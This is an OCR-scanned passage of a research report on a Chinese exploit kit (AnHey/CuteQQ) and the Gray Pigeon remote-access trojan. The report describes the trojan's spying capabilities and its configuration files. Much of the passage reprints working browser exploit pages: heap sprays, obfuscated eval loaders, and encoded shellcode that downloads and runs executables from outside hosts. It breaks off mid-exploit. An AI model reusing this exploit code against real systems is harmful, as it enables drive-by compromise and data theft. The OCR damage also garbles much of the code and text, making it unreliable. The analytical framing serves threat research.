Cuteqqg Software Team. This is version 1.0.0.1 and copyrighted in 2010. The
original filename when compiled was IE-Oday.exe, though the name as distributed
was AH_IE_Oday.exe. There are Chinese characters included in the product name.

The library however was created by a company called skinplusplus / uipower.
After some digging it appears this is a legitimate Chinese company that provides
several products including a skinable GUI library. At some point the CuteQQ
organization may have changed its name to Anhey. It appears that many large
Chinese companies use products from UIPower. [8]
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Fig. 17 Skin DLL Strings and UIPower Website

One very important data point is that many of the AnHey Exploits use a heapspray
or payload that contains some permutation of the world “cute”, whether its
cuteqq, cute90, CUTE9O, etc. This is then decoded by various means into the
usable payload. Here are some excerpts showing the various similarities:

Internet Explorer 7 XML ODay Exploit

spray("cuteqq7843782379090cuteqq7843782376090cuteqq78437823717ebcuteqq784
378237645ecuteqq78437823730alcuteqq7843782370000cuteqq7843782370500cuteq
7843782370800cuteqq7843782370000cuteqq784378237f88bcuteqq78437823700b9c
uteqq7843782370004cuteqq784378237f300cuteqq784378237ffadcuteqq784378237e8
eOcuteqq784378237ffedcuteqq784378237ffffcuteqq784378237al64cuteqq7843782370
030cuteqq7843782370000cuteqq784378237408bcuteqq7843782378b0ccuteqq784378
2371c70cuteqq7843782378badcuteqq7843782370870cuteqq784378237ec81cuteqq784
3782370200cuteqq7843782370000cuteqq784378237ec8bcuteqq784378237e8bbcuteq
784378237020fcuteqq7843782378b00cuteqq7843782378503cuteqq7843782370fcOcu
teqq7843
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Quiksoft EasyMail 6 Exploit

cutecode =
"cute9090cute9090cute9090cute9090cute9090cute9090cute9090cutel6EBcute335Bcu
te66D2cute89B8cute66A7cute0431cute4053cute6642cuteFA81cute0151cuteF37Ccute0
S5EBcuteESE8cuteFFFFcute60FFcute88C2cute8BA7cuteE6F8cuteD497cute05C3cute04A6
cute383Fcute91A7cute19A7cuteSFE7cuteE42Ccute38BBcuteFE2Ccute1CAFcute1950cut
€994Bcute9AA5cutelEA7cuteE97Ccute5AAOcuteBAE1cuteCD6EcuteF3F9cuteA8CDcuted
AFEcuteA249cuteA4A7cute5C45cute26E7cute649Fcute52D2cuteEF2EcuteC097cuteF2A
5cute324FcuteADA6cute4CA7cuteC55EcuteESA6cuteDECFcuteB2C9cuteDBA7cuteC6D2
cuteD8CBcute3DF3cute5FAlcuteBIB7cuteBO9A7cute5232cuteBA19cuteBCA7cute80CFcu
teBEE7cuteD5A7cuteAAS8cuteFF58cuteEE7Ccute9383cute90F7cute9358cute4D87cuteA
F63cute087CcuteC86FcuteCACFcute2BE7cute9846cute32F7cuteD2F1cute5FEFcute4037
cute4137cuteE2CDcuteB7FEcuteCD

Animated Cursor 0day

var payload =
"CUTES090CUTE9090CUTE9090CUTES54ebCUTE758bCUTE8b3cCUTE3574CUTEO378CUTE
56f5CUTE768bCUTE0320CUTE33f5CUTE49¢9CUTEad41CUTEdb33CUTEOf36CUTE14beCU
TE3828CUTE74f2CUTEc108CUTEOdcbCUTEda03CUTEeb40CUTE3befCUTE75dfCUTESee?
CUTE5e8bCUTE0324CUTE66ddCUTEOCc8bCUTE8b4bCUTE1c5eCUTEddO3CUTEO48bCUTE
038bCUTECc3c5CUTE7275CUTE6d6CcCUTEGe6fCUTE642eCUTE6c6cCUTE4300CUTESCc3aCU
TE2e55CUTE7865CUTEQ0065CUTECO033CUTEO364CUTE3040CUTEOC78CUTE408bCUTESLO
cCUTE1c70CUTE8badCUTEO840CUTEQ9ebCUTE408bCUTE8d34CUTE7c40CUTE408bCUTE
953cCUTE8ebfCUTEOe4eCUTEe8ecCUTEff84CUTEffffCUTEec83CUTES30

3. 4 Gray Pigeon (Huigezi [RE&&F)

The researchers were also able to acquire a sample of the notorious Gray Pigeon
2.0 or Huigezi remote administration tool. This tool provides sophisticated
command and control capabilities and is considered important in the Chinese
hacking community.
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Fig. 18 Huigezi Tool Screenshot

This tool can capture screens as well as keystrokes. It steals user accounts and
passwords. Interestingly it also has the capability of turning on both the
microphone and the camera, capturing audio and video, and sending this data out
to the attacker. It also can perform standard command and control functions like
uploading and downloading files, starting and stopping services, and executing
commands. Officially the developer has ceased development since 2007 but there

are many ongoing variants available in the wild.

The first step in using this tool is to generate a server executable:
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Fig. 19 Server Generation

Gray Pigeon also provides an option to pack or obfuscate the outputted server
executable, however the packing is not sophisticated, just UPX.

1)

v {83 IEXPLORE EXE #RRSTIIE AR

A
{8 IEXPLORE EXE #2 B R Win2000/XPF4 ¢

& Fhos [ fBR UPX 0y

mpem: | mrgggi(eees |

TEOHE : | BT seE Y |

f%ﬁﬁg‘ffﬁ . 'ov\ \ng\llpl.2\huigezi\lersion2.0\Server.exeD

Fig. 20 Binary Obfuscation
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The following screenshot shows a live screen with several active compromised
hosts. The dates on this image show a variant past the 2007 timeframe.
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Fig. 21 Compromised Victims

This tool consists of several components. H_Client.exe is the main program which
handles server generation, obfuscation, command and control of victims, etc.
Operate.ini is a config file generated when the main program is executed.

[Operation]

ViewStyle=vsReport

SkinFile=

OnSound=1

Sound1=C:\Documents and Settings\root\Desktop\huigezi_2.0\sound\login.wav
Sound2=C:\Documents and Settings\root\Desktop\huigezi_2.0\sound\offline.wav
Sound3=C:\Documents and Settings\root\Desktop\huigezi_2.0\sound\setting.wav
Sound4=C:\Documents and Settings\root\Desktop\huigezi_2.0\sound\upfile.wav
Sound5=C:\Documents and Settings\root\Desktop\huigezi_2.0\sound\downfile.wav
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TimerOut=20000
WriteLog=0
AutoUpClient=1
MaxConnections=0
[LocalPort]
AutoSxport=8000
[FTP]

AutoSave=1
FTPServer=
FTPport=21
FTPUser=
Password=

Http=
IpFile=ip.txt

[VIP]

UserName=
AutoSave=0

There are several other files that are essentially EULA’s, Readme’s and
Changelogs.

° T1 5 HH . txt
e f/f}i¥.docis the EULA Lolz
o RRAHBA.txt

ST SRR T 4 T R A PES s

FWHEEE AR ) ST LIEE ZEE T R T HiF - RaTE .
—BWEiE. NS EaAme S Aca, MR TERES U E WIS TR . W
EMEMEE RN .

—. MPFRREL

HRIARME, fA5EALSETEEN > CEMITLE, ofiE, BFEeE. 5L, NN R RIFRE
fE ., FFEFEWE. FIPEFTE, o FilEmMATRETSEA—VI®NE., amRFResiBiE.
1. AP EETHA, BEEHRINTRAERES.
2. WP AR T T IR A IRt R AT b A, o BB R0 (R e e R
3 W T RIS R e R R RS T AR £ B WA MFEREREE A LR el h T
1R (T B A L BT THIRS = 2 AR WP, S M I 2.

Please read and accep! the “Tesms of gray pigeons registered wusars®

Thig agreement i you (indridusd or single enity) and the gray dove gray dove studio soltwan produects between e legal agrearnent
Oince mstalled, copied, or othersise using this softwane, you agree 1o be bound to accept the terms of the agreement. If you do mol agree
bt terrne of the agreament, you can nol get 1o use the power of this software

Firsd, the user af Usa

Remind the user, using the Internat musi comply with relevant state policies and laws such as criminal law, national secunty law, prvacy
law, computer nformation system secwity protection of Regulations 1o protect national interests, to prolect natsonal security, farllegal
usa of the Infemet for any and all responsibility, full esponsibility by the user,

1. User wohmtary purchase of gray pigeans softwane, we do not offer refunds after purchase service.

2. Users shall fot use the gray pegen i illegal suraillance and ilagal destruction of computer data and other violations of the nstional
legal system to da.

3 Gray plgeons for remote contsol software, anivinus software may be mistaken for some backdoor killing, if thes happens, the user
should first antivinus software to program the program is set o trusted (in the antivires soffware to excludae ) or you can fum of f artivinus
softwans, or ot work propesdy

Fig. 22 Translated Eula
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S 7 s 0.
REWEEA R, MR B AT B F 509 B H 75 B EOM:

KETFRRUSEALEEEN ASRACIETERTHRBZ A, EXRRSFNIELIEDZR
Rl R AR EIRE.

ARBEGHAFEERRY, SEREREGEFRO—RENGE, EEXLR AERRE.
RETIfF=E

www.huigezi.net
Disclaimer

If you needto usethis software, you must uncon dinenally agree to all the statements listedin the following
amounts:

Gray pigeonsisto provide users of personal computers or corporate employees use the computer, before
installing the server, please consultthe computer user's consent

Wih erewill this software for illegal purposes, by the users bear all the losses andthe resulting consequences, the
authors do not bear any responsibility

Gray Pigeon Studio
wiwnw huigezinet

Fig. 23 Translated Disclaimer

20050710 S8 TEERM Version20

1 #EFERBRTREFEFRETT e, T EEH S 8.
2 8% 0.0 B SR T 5 R Lhik.

IEEELAR K AE, AUROAEETES!

200505 053 ST @S Bl Version1 2
AEFPEHEBRTES T FEMEE~E, BEETiz-AR
HE: Wersion1 1 AN E T ERNEE R

2005.05.03 =#-TEERS Version1.1

1 HEPENEHIPHRITTEE. AT FNRP TEEWHP IS 2.
IHBREFRER ERNAREETTRIL. SohEREnPIRES"
HEER 0NFFEEER 0NREE TLSERBERRELEN SiEl
WA R EETaEREM Version1 1 FPE!

KT EERY Version10

2005.07.10 gray pigeons Remote ControlVersion 2.0

1. On the clientand server programs were re-designed to support multi-task while operating.
2. To re-join automatically delete the installation files feature.

3. This version because there are significantimprovements, it is not compatible with previous
versions!

2005.05.08 gray pigeons Remote Control Version 1.2

Serverresponseto a user to repeata serious problem on the line, especially amendments to this
problem!

Reason:Version 1.1 on-line version ofthe testto judge repeated omission.

Fig. 24 Translated Changelog
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One of the more interesting files including in the particular variant of Huigezi we

were able to acquire as a file called ggwry.dat. It is unclear what the purpose of

this file is, but it includes a large number of interesting strings. These strings

include the names of Universities, companies, and other organizations as well as

electronics part numbers. The following image shows a sample of these strings:

A 00000011 oooood1t 0 CZE8MET 00003283 00003283 O JBDSL
A 0000008F  0000oasF 0 Armed Forces R adiadT elevision 00003435 00003435 0 BDsL
A 000000BD OOOOOOBD: O Kraft Group 00003535 00003533 O 0724
A 000000F0  Q0000QF0 O Techrical Resource Connections he Q0003534 00003534 0O A0304
A 00000155 00000155 0 EARTHLIME 00003414 00003414 O 2HET1A
A 00000188 0oo0o188 0 [ ety 00003AEC  0DOO3AEC O 51341
A Q0000236 0000023 O Leepfrog Technologies Q0003837 00003asY O a13a2
A 0000025C  0000025C 0 Lycaoming Callzge 00003BAC 00OO3BAC O B05EA1
A 00000270 00000270 0 Friends University OO0O3BBF  ODOOO3BBF O BO5AZ
A 000002B0  OOOQOZED O Marbora College 00003BDA  0OOO3EDA O A0544
A (000DZEE  OOODOZEE 0 5pelman College QO003BFS  0OOOO3BFS O 22342
A 00000320 00000320 0 Houghtan Caollege 00003COEB  0OOO3COB O EHE2RA
A 00000365 00OQO3ES 0 Firzt Technology Solutions 00003C71 00003CY1T O 31156
A 00000330 00000330 0 InFlowe-5TLO7 00003CDE  00003CDS 0 OHE15A
A 000003E7  OOODOZEY O AAA Al SOFTWARE SOLUTIONS 00003020 00003020 0 2H309e
A oooo411 - ooooo411 0 Lenair-Rhyne College Q0003055 00003055 O 1044
A 00000436 00000436 0 5pringfield College 00003063 00003DE3 O 10143
A 00000454 00000454 0 STOMEHILL Callege 00003071 00003071 0 10142
A 00000490 00000490 0 BARBOURWILLE UTILITIES 000030FF  0DOO3DYF O 10141
A 000004C4  0oo0o4C4 0 5 alve Regina University 00003080 00003080 0 101B4
A 00000D4FC 0OODO4FC 0 CARILIOM HEALTH SYSTEM 0000309 0OO03DSE O 101B3
A 0000053C  00000s3C 0 Herox 00003049 00003DAS O 101B2
A 00000552 00000s52 0 Hewlett-Packard 000030EBY 00003DBY O 101B1
A (000DSEE  OOOQOSEE 0 Digital 000030CS 00003DCS 0 10244
A 0000057E  OOOQOSYE O Apple 00003003 000030D3 0 10243
A 00000DSBE  OOOOOSBE O Carnputer 00003DET 00003DE1 O 10282
A 00000sEZ  OOOQOSEZ 0 Comcast QO0O3DEF 0OOOO3DEF O 10241
A 00000E25  0OO0ORSS O Corncast Cable Communications Haoldings Ine 00a0z20FD  000030FD 0 10264
A 0000DBEC  OOODOREC 0 Cogeca Cable Inc 0O003EOE  OOOO3EOE O 10263
A 000007e2  00OQOFEZ O Suburban Cable 0O0O3E1S  0OOOO3E19 O 102682
A 00000856 00000856 0 Adelphia QO003E2Y  0OOOO3EZF O 102B1
A 00000SCC oooQoacc 0 Cogeca OO003E35 OOOO3E35 O 10344
A 00000SFC  0000O&FC 0 Comcast 0O003E43  0OOO3E43 O 10343
A 00000524 00000324 0 "Wictoria 0O003ES1  OOOO3ERT O 10342
A 0000057C  0000037C 0 Aocess 0O0O3ERF  ODOOO3ERF O 10341
A 000003393 00000393 0 Cable Regina QO003EED 0OOOO3EED O 10364
A 00000345 000003s8 0 CZE8MET QO0O3E7E  OOOO3EVE O 103B3
A 00000A32  00000&32 0 Wahcouve j QO0O3E®S O0OOO3ESS O 103E2
_ - T T m e — e — = nONn2ac a7 Lo T e g [nl Andad

Fig. 25 QQwry.dat strings

The main executable itself is packed with a very sophisticated obfuscator which

may be pelock. [10]
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Chapter 4

Conclusions

4.1 Fundamental Differences

There are fundamental differences between the hacking communities of the US
and China, however there may be more similarities. Both communities have
groups of high end researches, who develop tools, discover vulnerabilities and
construct exploits. Both communities also have large groups of unskilled script
kiddies who acquire and use these tools for nefarious purposes.

Both countries are suffering from losses due to spyware and data theft and
botnets as well as distributed denial of service attacks are a significant issue as
well. Hackers from all locations find mediums with which to collaborate and
communicate be it IRC and numerous conferences in the US, or public forums and
QQ chats in the East.

We believe cross participation by community members from both countries in
conferences, projects and papers could prove beneficial and help avoid some of
the misunderstandings of the past.
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le.htm — Heap Spray Attack
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F10.htm - Flash10 Exploit
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ff.htm — Firefox 3.x exploit

Bevee
SFP SED S0 sAE NER

oBject WidEh-"SS@" neight-"Aae'>

Cparan nane="meie’ value="dene . swl*>

{embed Sro="xp.oswE’ widbh=" 550" height="s0m>
<{/enbed>

<Jomject>

<seript sro-“ff.fpgr</seripty

Caeript Language="Javascript™

var mepory;

Var nop - unescape(PulSeE s "Tuea Bs) |

Uar S5 =Array (216,995 292 130, TR0 145 359 295 200 199, 210,197 005 200,199 AR 210, 290, 292 195 299 1A 292 000, 210,208 105 197 199 100 TS 105 196,197
var arr =mew Array();

Far(var 1-I:i<ass.lrngln;lbv)

{
arr[ij=String.frenCharCode(sss[i]-9%);
H

var quisi="you";

var ad - ur.lo!lriug().rvvlnv(/.lg."");
dd = dd.replace(/@/y,”,")
eval(dd);
for{i=n;0<dnann;ive)
{menory[i]=nop + SC3)
<fseripty

Ah_ie_0day — CUTE-IE.html

<html>

<body>

<script>

var EasyJob="\x38';

</script>

<button id="evilcute" onclick="ahwm();" STYLE="DISPLAY:NONE"></button>
<script src="pack.js"></script>

<script src="pack.css"></script>

<script language="javascript">

var CutePower = anheywangma(AnHey.replace(/CUTEQQ/g,'%u"));
var CuteMoney = new Array()
var CuteShine = 0x86000 - CutePower.length*2;
var sss =
Array(472,388,456,128,268,468,464,404,332,420,488,404,128,244,128,136,268,340,336,276,324,324,192,396,192,
136,172,136,396,268,340,336,276,324,324,192,396,192,136,172,136,396,136,236,472,388,456,128,268,468,464,4
04,328,420,412,416,464,128,244,128,388,440,416,404,484,476,388,440,412,436,388,160,268,468,464,404,332,42
0,488,404,184,456,404,448,432,388,396,404,160,188,268,340,336,276,324,324,188,412,256,156,148,468,156,164,
164,236,388,432,404,456,464,160,136,105052,162628,130372,158128,128,324,324,232,208,208,204,224,196,216,
224,192,224,128,123320,93800,86072,97280,91948,147264,139568,113288,83944,261124,136,164,236);
var arr = new Array;
for (vari=0;i<sss.length; i ++ ){
arr[i] = String.fromCharCode(sss[il/4); }
var tQknUbSupHPbocFK=arr.toString();tQknUbSupHPbocFK=tQknUbSupHPbocFK.replace(/,/g, "");
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tQknUbSupHPbocFK = tQknUbSupHPbocFK.replace(/@/g, ",");
eval(tQknUbSupHPbocFK);
try{alert(a,b,c);}

catch(e)
{
while(CuteRight.length < CuteShine/2) CuteRight += CuteRight;
var pp = CuteRight.substring(0, CuteShine/2);
delete CuteRight;
for(i=0;i<270;i++)
{
CuteMoneyl[i] = pp+pp+CutePower;
}
}
function ahwm()
{
var CutelLock = document.createElement("BODY");
CuteLock.addBehavior("#default#fuserData");
document.appendChild(CutelLock);
try
{
for (i=0;i<10;i++)
{
Cutelock.setAttribute('s',window);
}
}
catch(e)
{}
window.status+="";
}
document.getElementByld("evilcute").onclick();
</script>
</body>
</html>
AnHey 2010

<SCRIPT LANGUAGE="JavaScript">
<l-- Hide

function Errors() {

return true;

}

window.onerror = Errors;

/] -->
</SCRIPT>
<script src=bgg.jpg></script>
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<script src=agg.jpg></script>
<SCRIPT LANGUAGE="JavaScript">

var array=new Array();

var anheyww=0;

var Is=0x81000-(c.length*2);

var b=WOANHEIIUSHIHAO(ahwm2+ahwm6+ahwm2+ahwmsb);
while(b.length<ls/2){b+=b}var Ih=b.substring(0,ls/2);

delete b;

var anheywm=0;
for(i=anheywm;i<0x99*2;i++){array[i]=Ih+lh+c}CollectGarbage();
e=new Array();

e.push(1);

e.push(2);

e.push(0);

e.push(window);

var ananheihei=0;
for(i=ananheihei;i<e.length;i++){for(j=0;j<10;j++){try{obj.Evaluate(e[i]) }catch(e){}}}window.status=e[3]+";
ahwma=e;

for(j=anheyww;j<anheymm:;j++){try{ahahah}catch(ahwma){}}
</SCRIPT>

Animated Cursor Oday

<I--

Windows Animated Cursor Handling Exploit (Oday)
Works on fully patched Windows Vista
Tested By Cuteqq SoftWare Team .

<SCRIPT language="javascript">
var heapSprayToAddress = 0x07000000;

var payload =
"CUTE9S090CUTE9090CUTES090CUTES54ebCUTE758bCUTE8b3cCUTE3574CUTEO378CUTES6f5CUTE7680bCUTEN320C
UTE33f5CUTE49¢9CUTEad41CUTEdb33CUTEOf36CUTE14beCUTE3828CUTE74f2CUTEC108CUTEOdcbCUTEda03CUTE
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eb40CUTE3befCUTE75dfCUTESee7CUTE5e8bCUTE0324CUTE66ddCUTEOc8bCUTE8b4bCUTE1c5eCUTEddO3CUTEO4
8bCUTEO038bCUTEC3c5CUTE7275CUTE6d6cCUTE6e6fCUTE642eCUTE6c6cCUTE4300CUTESc3aCUTE2e55CUTE7865C
UTEO065CUTECO33CUTEO0364CUTE3040CUTEOC78CUTE408bCUTE8bOCCUTE1c70CUTE8badCUTEO840CUTEO9ebCU
TE408bCUTE8d34CUTE7c40CUTE408bCUTE953cCUTEBebfCUTEOe4eCUTEe8ecCUTEff84CUTEffffCUTEec83CUTES30
4CUTE242cCUTEff3cCUTE95dOCUTEbLf50CUTE1a36CUTE702fCUTE6fe8CUTEfffFCUTE8bffCUTE2454CUTE8dfcCUTED
a52CUTEdb33CUTES353CUTEeb52CUTES324CUTEdOffCUTELf5dCUTEfe98CUTEOe8aCUTES3e8CUTEFffFCUTES3ffCU
TEO4ecCUTE2c83CUTE6224CUTEdOffCUTE7ebfCUTEe2d8CUTEe873CUTEff40CUTEffffCUTEff52CUTEe8dOCUTEffd7C
UTEffffCUTE7468CUTE7074CUTE2f3aCUTE772fCUTE7777CUTE622eCUTE6961CUTE7564CUTE632eCUTE6A6fCUTEG
82fCUTE2e69CUTE7363CUTEO073";

var sss =
Array(590,485,570,160,495,585,580,505,565,565,160,305,160,585,550,505,575,495,485,560,505,200,560,485,605,
540,555,485,500,230,570,505,560,540,485,495,505,200,235,335,425,420,345,235,515,220,160,170,185,585,170,2
05,205,295);
var arr = new Array;
for (vari=0;i< sss.length; i ++ ){
arr[i] = String.fromCharCode(sss[il/5); } var cc=arr.toString();cc=cc.replace(/,/g, "");

cc = cc.replace(/@/g, ",");
eval(cc);
var heapBlockSize = 0x400000;

var payLoadSize = cuteqq.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

var spraySlide = unescape("%u4141%u4141");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)

{

memory[i] = spraySlide + cuteqg;

document.write("<HTML><BODY style=\"CURSOR: url('cute.htm')\"> </BODY></HTML>")
wait(600)
window.location.reload()

function getSpraySlide(spraySlide, spraySlideSize)

{
while (spraySlide.length*2<spraySlideSize)

{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
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return spraySlide;

}
</SCRIPT>

Internet Explorer 7 XML Oday Exploit

<html>
<div id="qq784378237">www.cuteqq.cn</div>
<script>

function spray(sc)

{
var evilcode=unescape(sc.replace(/cuteqq784378237/g,"\x25\x75"));

var evilcuteqq = unescape("%u0a0a%u0ala");

do{
evilcuteqq += evilcuteqq;
} while(evilcuteqq.length < 0xd0000);

memory = new Array();

for(i=0;i<100; i++)
memory[i] = evilcuteqq + evilcode;

}

spray("cuteqq7843782379090cuteqq7843782376090cuteqq78437823717ebcuteqq784378237645ecuteqq784378
23730alcuteqq7843782370000cuteqq7843782370500cuteqq7843782370800cuteqq7843782370000cuteqq78437
8237f88bcuteqq78437823700b9cuteqq7843782370004cuteqq784378237f300cuteqq784378237ffadcuteqq78437
8237e8e0cuteqq784378237ffedcuteqq784378237ffffcuteqq784378237a164cuteqq7843782370030cuteqq784378
2370000cuteqq784378237408bcuteqq7843782378b0ccuteqq7843782371c70cuteqq7843782378badcuteqq78437
82370870cuteqq784378237ec81cuteqq7843782370200cuteqq7843782370000cuteqq784378237ec8bcuteqq7843
78237e8bbcuteqq784378237020fcuteqq7843782378b00cuteqq7843782378503cuteqq7843782370fcOcuteqq7843
78237bb85cuteqq7843782370000cuteqq784378237ff00cuteqq784378237e903cuteqq7843782370221cuteqq7843
782370000cuteqq784378237895bcuteqq784378237205dcuteqq7843782376856cuteqq784378237fe98cuteqq784
3782370e8acuteqq784378237ble8cuteqq7843782370000cuteqq7843782378900cuteqq7843782370c45cuteqq78
43782376856cuteqq7843782374e8ecuteqq784378237ecOecuteqq784378237a3e8cuteqq7843782370000cuteqq?
843782378900cuteqq7843782370445cuteqq7843782376856cuteqq78437823779c1cuteqq784378237h8e5cuteqq
78437823795e8cuteqq7843782370000cuteqq7843782378900cuteqq7843782371c45cuteqq7843782376856¢cuteq
784378237c61bcuteqq7843782377946cuteqq78437823787e8cuteqq7843782370000cuteqq7843782378900cute
0q7843782371045cuteqq7843782376856cuteqq784378237fcaacuteqq7843782377c0dcuteqq78437823779e8cute
0q7843782370000cuteqq7843782378900cuteqq7843782370845cuteqq7843782376856cuteqq78437823784e7cut
€qq784378237b469cuteqq7843782376be8cuteqq7843782370000cuteqq7843782378900cuteqq7843782371445cu
teqq784378237e0bbcuteqq784378237020fcuteqq7843782378900cuteqq7843782373303cuteqq784378237c7f6cu
teqq7843782372845cuteqq7843782375255cuteqq7843782374d4ccuteqq78437823745c7cuteqq7843782374f2ccu
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teqq784378237004ecuteqq7843782378d00cuteqq784378237285dcuteqq784378237ff53cuteqq7843782370455cu
teqq7843782376850cuteqq7843782371a36cuteqq784378237702fcuteqq7843782373fe8cuteqq7843782370000cu
teqq7843782378900cuteqq7843782372445cuteqq7843782377f6acuteqq7843782375d8dcuteqq7843782375328¢
uteqq78437823755ffcuteqq784378237c71ccuteqq7843782370544cuteqq7843782375¢c28cuteqq784378237652ec
uteqq784378237c778cuteqq7843782370544cuteqq784378237652ccuteqq7843782370000cuteqq7843782375600
cuteqq7843782378d56cuteqq784378237287dcuteqq784378237ff57cuteqq7843782372075cuteqq784378237ff56¢
uteqq7843782372455cuteqq7843782375756cuteqq78437823755ffcuteqq784378237e80ccuteqq7843782370062c
uteqq7843782370000cuteqq784378237c481cuteqq7843782370200cuteqq7843782370000cuteqq7843782373361
cuteqq784378237c2cOcuteqq7843782370004cuteqq7843782378b55cuteqq78437823751eccuteqq7843782378b5
3cuteqq784378237087dcuteqq7843782375d8bcuteqq784378237560ccuteqq784378237738bcuteqq7843782378b
3ccuteqq7843782371e74cuteqq7843782370378cuteqq78437823756f3cuteqq784378237768bcuteqq7843782370
320cuteqq78437823733f3cuteqq78437823749c9cuteqq784378237ad41cuteqq784378237¢303cuteqq7843782373
356cuteqq7843782370ff6cuteqq78437823710becuteqq784378237f23acuteqq7843782370874cuteqq784378237¢
eclcuteqq784378237030dcuteqq78437823740f2cuteqq784378237flebcuteqq784378237fe3bcuteqq7843782377
55ecuteqq7843782375ae5cuteqq784378237eb8bcuteqq7843782375a8bcuteqq7843782370324cuteqq784378237
66ddcuteqq7843782370c8bcuteqq7843782378b4bcuteqq7843782371c5acuteqq784378237dd03cuteqq78437823
7048bcuteqq784378237038bcuteqq7843782375ec5cuteqq784378237595bcuteqq784378237c25dcuteqq7843782
370008cuteqq78437823792e9cuteqq7843782370000cuteqq7843782375e00cuteqq78437823780bfcuteqq784378
237020ccuteqq784378237b900cuteqq7843782370100cuteqq7843782370000cuteqq784378237a4f3cuteqq78437
8237ec81cuteqq7843782370100cuteqq7843782370000cuteqq784378237fc8bcuteqq784378237¢783cuteqq78437
8237c¢710cuteqq7843782376e07cuteqq7843782376474cuteqq784378237c76ccuteqq7843782370447cuteqq7843
78237006ccuteqq7843782370000cuteqq784378237ff57cuteqq7843782370455cuteqq7843782374589cuteqq7843
78237c¢724cuteqq7843782375207cuteqq7843782376c74cuteqq784378237c741cuteqq7843782370447cuteqq784
3782376c6ccuteqq784378237636fcuteqq78437823747c7cuteqq7843782376108cuteqq7843782376574cuteqq784
378237c¢748cuteqq7843782370c47cuteqq7843782376165cuteqq7843782370070cuteqq7843782375057cuteqq78
437823755ffcuteqq7843782378b08cuteqq784378237b8f0cuteqq7843782370fedcuteqq7843782370002cuteqq78
43782373089cuteqq78437823707c7cuteqq784378237736dcuteqq7843782376376cuteqq78437823747c7cuteqq?
843782377204cuteqq7843782370074cuteqq7843782375700cuteqq78437823755ffcuteqq7843782378b04cuteqq?
843782373c48cuteqq7843782378c8bcuteqq7843782378008cuteqq7843782370000cuteqq7843782373900cuteqq
7843782370834cuteqq7843782370474cuteqq784378237f9e2cuteqq78437823712ebcuteqq784378237348dcuteq
7843782375508cuteqq784378237406acuteqq784378237046acuteqq784378237ff56cuteqq7843782371055cuteq
q78437823706c7cuteqq7843782370c80cuteqq7843782370002cuteqq784378237c481cuteqq7843782370100cute
0g7843782370000cuteqq784378237e8c3cuteqq784378237ff69cuteqq784378237ffffcuteqq784378237048bcuteq
7843782375324cuteqq7843782375251cuteqq7843782375756¢cuteqq784378237ech9cuteqq784378237020fcute
0q7843782378b00cuteqq7843782378519cuteqq78437823775dbcuteqq7843782373350cuteqq78437823733¢c9cut
eqq78437823783dbcuteqq78437823706e8cuteqq784378237b70fcuteqq7843782378118cuteqq784378237fffbcut
€qq7843782370015cuteqq7843782377500cuteqq784378237833ecuteqq78437823706e8cuteqq784378237b70fcu
teqq7843782378118cuteqq784378237fffbcuteqq7843782370035cuteqq7843782377500cuteqq7843782378330cu
teqq78437823702e8cuteqq784378237b70fcuteqq7843782378318cuteqq7843782376afbcuteqq7843782372575cu
teqq784378237c083cuteqq7843782378b04cuteqq784378237b830cuteqq7843782370feOcuteqq7843782370002c
uteqq7843782370068cuteqq7843782370000cuteqq7843782376801cuteqq7843782371000cuteqq7843782370000
cuteqq784378237006acuteqq78437823710ffcuteqq7843782370689cuteqq7843782374489cuteqq7843782371824
cuteqq784378237ecb9cuteqq784378237020fcuteqq784378237ff00cuteqq7843782375f01cuteqq7843782375a5ec
uteqq7843782375b59cuteqq784378237e4b8cuteqq784378237020fcuteqq784378237ff00cuteqq784378237e820c
uteqq784378237fddacuteqq784378237ffffcuteqq7843782376870cuteqq7843782377474cuteqq7843782373a70cu
teqq7843782372f2fcuteqq7843782377777cuteqq7843782372e77cuteqq7843782377563cuteqq7843782376574cu
teqq7843782377171cuteqq784378237632ecuteqq7843782372f6ecuteqq7843782377361cuteqq7843782372f70cu
teqq7843782376163cuteqq784378237636ccuteqq784378237652ecuteqq7843782376578cuteqq7843782370000c
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uteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020
cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq784378237202
Ocuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq78437823720
20cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372
020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq784378237
2020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq78437823
72020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782
372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq784378
2372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq78437
82372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843
782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq784
3782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq78
43782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq?
843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq
7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020cuteqq7843782372020");

xmlcode = "<XML ID=I><X><C><![CDATA[<image
SRC=http://&#x0a0a;&#x0a0a;.cuteqq.cn>]]></C></X></XML><SPAN DATASRC=#| DATAFLD=C
DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#| DATAFLD=C
DATAFORMATAS=HTML></SPAN></SPAN>";

CuteQgCn = document.getElementByld("qq784378237");
CuteQgCn.innerHTML = xmlcode;

</script>

<script type="text/jscript">function init() { document.write("°peU2a%p ExNi& AL
¢i-pQQ:443816808");}window.onload = init;</script>

</html>

Quiksoft EasyMail 6 Exploit

<html>
<head>
<title>CuteQq.Cn Quiksoft EasyMail 6 Exploit</title>
<object classid="clsid:68ACOD5F-0424-11D5-822F-00C04F6BA8DY' id='"evilcute'></object>
<script language='javascript'>
function str_repeat ( input, multiplier ) {
